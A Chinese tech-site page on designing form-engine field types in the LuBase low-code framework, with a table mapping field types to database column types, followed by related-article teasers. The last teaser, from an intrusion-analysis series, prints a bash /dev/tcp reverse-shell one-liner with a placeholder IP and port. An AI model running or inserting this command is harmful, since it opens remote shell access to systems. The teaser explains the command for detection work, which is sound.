表单引擎字段类型该如何设计?

news/2024/10/5 22:47:10

在软件行业的发展过程中,从业者对于开发效率和质量提升是一直在追随的一个目标。通过复用软件模块来实现这些目标通常是一种有效的手段,从头文件引入、面向对象的封装、动态库的引入、代码生成器类工具、低代码引擎等,随着行业技术发展能复用的层次也从底层的文件逐步到界面层面的复用。本文主要围绕在OA、低代码平台中必不可少的一个组件表单引擎,对表单控件的扩展性进行研讨。

表单引擎的组成

表单引擎一般分为表单设计器和表单渲染引擎两部分组成,表单设计器一般通过托拉拽的形式定义表单的样式和交互行为,并把配置信息通过JSON的形式保存到数据库中,表单渲染引擎通过读取数据库中的配置信息,动态生成表单对其渲染。在这种设计模式之下,表单控件是否能扩展,扩展性如何,将直接绝对表单引擎的能力。以下以LuBase低代码框架为例,介绍其表单控件的扩展是如何实现的。

LuBase表单控件类型的设计方式

表单引擎通常会提供较为丰富的控件类型来满足日常的业务需求,不同的控件类型在不同的数据库中有不同的映射类型,比如:一个复选框在MySQL中映射为tinyint类型,在MSSql中映射为bit类型。所以在扩展控件类型的时候必须要考虑数据库的兼容性,这样的一种耦合性会导致表单引擎的扩展性变差。所以LuBase提供了一种机制来支持不同数据库的兼容性,它定义了两个概念,一个字段类型,一个显示类型;一个字段类型可以有不同的显示类型,显示类型决定了最终的UI交互,字段类型决定了在不同的数据库中的映射类型。没有什么耦合是在两个层级之间增加一层解决不了的。如下表所示:


效果如下:字段类型定义了常用的文本、数字、时间、下拉等类型,显示类型决定了不同的显示效果。

字段类型和各数据库中类型对应关系

LuBase表单控件的扩展点设计到对显示类型的扩展,例如:一个字段类型为文本的字段,它可以显示为一个文本框,也可以显示为一个身份证输入框,再或者是其他显示类型。字段类型决定了数据库的映射类型,决定了数据新增更新时的处理逻辑,所以这块不提供扩展功能,不过框架实现了常用的字段类型。当然这么设计的弊端就是,如果需要扩展数据库控件的存储类型,必须通过修改框架来实现。LuBase的字段类型与各数据库映射关系,如下表所示:

字段类型 字段类型名称 可用显示类型 是否支持多值 对应mysql 列类型 对应MSSql列类型 对应pgsql列类型
0 大整数(表主键) 0:表单不显示 × bigint bigint
1 文本 10:普通文本
11:手机号输入框
12:身份证号
13:银行卡
14:数据源设置
× length>8000时string,
length<=8000时varchar(length)
length>8000时varchar(max),
length<=8000时nvarchar(length)
2 日期时间 20:年月日
21:年月日时分秒
× datetime datetime
3 复选框 30:默认是否 × tinyint bit
4 整数 40:默认数字框 × int int
5 小数 50:默认numeric数字框 × decimal(19,小数位数) decimal(19,小数位数)
6 关联-码表 60:单级下拉框
61:多级代码表
varchar(值数量*32) varchar(值数量*32)
7 关联-数据表 70:通用下拉
71:通用弹窗
单值时bigint
多值时varchar(值数量*32)
单值时bigint
多值时varchar(值数量*32)
8 附件 80:普通附件 varchar(64) varchar(64)
9 图片 90:图片 varchar(64) varchar(64)
10 关联-系统服务 根据工号显示用户信息
根据用户id显示用户信息
根据部门id获取部门信息
varchar(值数量*32) varchar(值数量*32)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/47609.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

apisix~14在自定义插件中调用proxy_rewrite

在 Apache APISIX 中,通过 proxy-rewrite 插件来修改上游配置时,需要确保插件的执行顺序和上下文环境正确。你提到在自己的插件中调用 proxy_rewrite.rewrite({host="new_upstream"}, ctx),但新上游没有生效,这可能是由于以下几个原因:插件执行顺序:确保你的自…

NAS安全存储怎样实现更精细的数据权限管控?

NAS存储,即网络附属存储(Network Attached Storage),是一种专用数据存储服务器,其核心特点在于将数据存储设备与网络相连,实现集中管理数据的功能。NAS存储具有以下明显优势,而被全球范围内的企业都广泛采用: 集中存储:NAS可以将所有设备(如电脑、手机、平板等)的数…

【运维自动化-配置平台】如何对主机进行纳管

主机是配置平台管控最常见的资源,也是运维日常主要的管控对象;如何对主机进行全生命周期管理呢导入主机直接导入直接导入仅适用于直连区域(default area)的主机,也就是网络跟蓝鲸平台能内网互通的。 资源–>主机–>导入主机导入后的主机在主机池-空闲机模块下,默认…

智慧仓储中数据可视化是如何应用的?

智慧仓储中数据可视化是如何应用的?在现代物流和供应链管理中,智慧仓储已成为企业提升效率、降低成本和优化运营的重要手段。而数据可视化作为智慧仓储的重要工具,通过将复杂的数据转化为直观、易理解的图表和图形,极大地提升了仓储管理的精度和效率。首先,数据可视化在库…

mysql8.0表名忽略大小写(Ubuntu24.04)

最近发现在ubuntu环境中mysql8默认是不忽略大小写的,这个在使用一些orm框架的时候可能会遇到一些问题,比如jpa会将表默认小写,如果数据库中的表是大写的这个时候就会报错: 表不存在。如何解决呢? 其实在数据库中无非是添加一个参数## mysqld.cnf[mysqld]lower_case_table_n…

centos7配置nginx

需要安装几个插件 1.pcre、pcre-develyum install -y pcre pcre-devel 2.zlib安装yum install -y zlib zlib-devel 3.安装openssl 安装nginx,下载包wget http://nginx.org/download/nginx-1.9.9.tar.gz 如果提示wget 未找到命令 用下面命令装一下sudo yum install wget继续…

动态合批与静态合批的网格内存占用

1)动态合批与静态合批的网格内存占用2)如何让游戏能自动调起手机内置的“游戏空间”或“游戏助手”3)如何控制mesh.triangles值4)怎么让旧的粒子原地不动这是第391篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面…

【攻防技术系列+入侵分析】-- 手工分析Liunx反弹Shell特征①

#网络安全 #入侵分析 bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1 上面的命令是我们常见的Linux反弹Shell的命令之一。它可以在几乎所有的Linux系统中运行,并且不需要额外配置其它环境。 命令分析 下面我们来分析一下这条命令: bash:启动Bash shell; -i:以交互模…